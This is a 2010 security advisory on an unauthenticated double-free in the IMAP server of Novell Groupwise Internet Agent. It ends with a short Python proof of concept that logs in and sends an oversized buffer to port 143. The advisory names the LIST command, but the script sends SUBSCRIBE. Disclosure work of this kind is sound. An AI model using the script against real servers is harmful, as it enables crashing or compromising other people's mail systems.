Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution

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Application: {PRL} Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution Vulnerability  
Platforms: Linux  
  
Exploitation: Remote code execution  
  
CVE Number: Pending  
  
Novell TID: 7007151  
  
ZeroDayInitiative: ZDI-10-242  
  
Author: Francis Provencher (Protek Research Lab's)  
  
Blog: http://www.protekresearchlab.com/  
  
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1) Introduction  
2) Report Timeline  
3) Technical details  
4) The Code  
  
  
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===============  
1) Introduction  
===============  
  
Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The  
company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell  
NetWare; identity, security, and systems management solutions; and collaboration solutions,  
such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a  
focus for technology and software development. Novell technology contributed to the emergence  
of local area networks, which displaced the dominant mainframe computing model and changed  
computing worldwide. Today, a primary focus of the company is on developing open source software  
for enterprise clients.  
  
(http://en.wikipedia.org/wiki/Novell)  
  
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============================  
2) Report Timeline  
============================  
  
2010-07-20 Vendor Contact by Tippingpoint  
2010-11-08 Vendor release advisory  
  
  
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============================  
3) Technical details  
============================  
  
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations  
of Novell Groupwise Internet Agent. Authentication is not required to exploit this vulnerability.  
  
The flaw exists within the IMAP server component which listens by default on TCP port 143. When  
handling an IMAP LIST command with a large parameter the process attempts to free the same memory  
twice. A remote attacker can exploit this vulnerability to execute arbitrary code under the  
context of the IMAP server.  
  
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===========  
4) The Code  
===========  
  
  
#!/usr/bin/python  
#  
# Francis Provencher  
# Protek Research Lab.  
#  
#  
  
  
import socket  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
buffer = '\x41' * 56000  
  
s.connect(('192.168.100.177',143))  
s.recv(1024)  
s.send('A001 LOGIN test test \r\n')  
s.recv(1024)  
s.send('A001 SUBSCRIBE ' + buffer + '\r\n')  
s.recv(1024)  
s.close()  
  
  
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(PRL-2010-07)  
  
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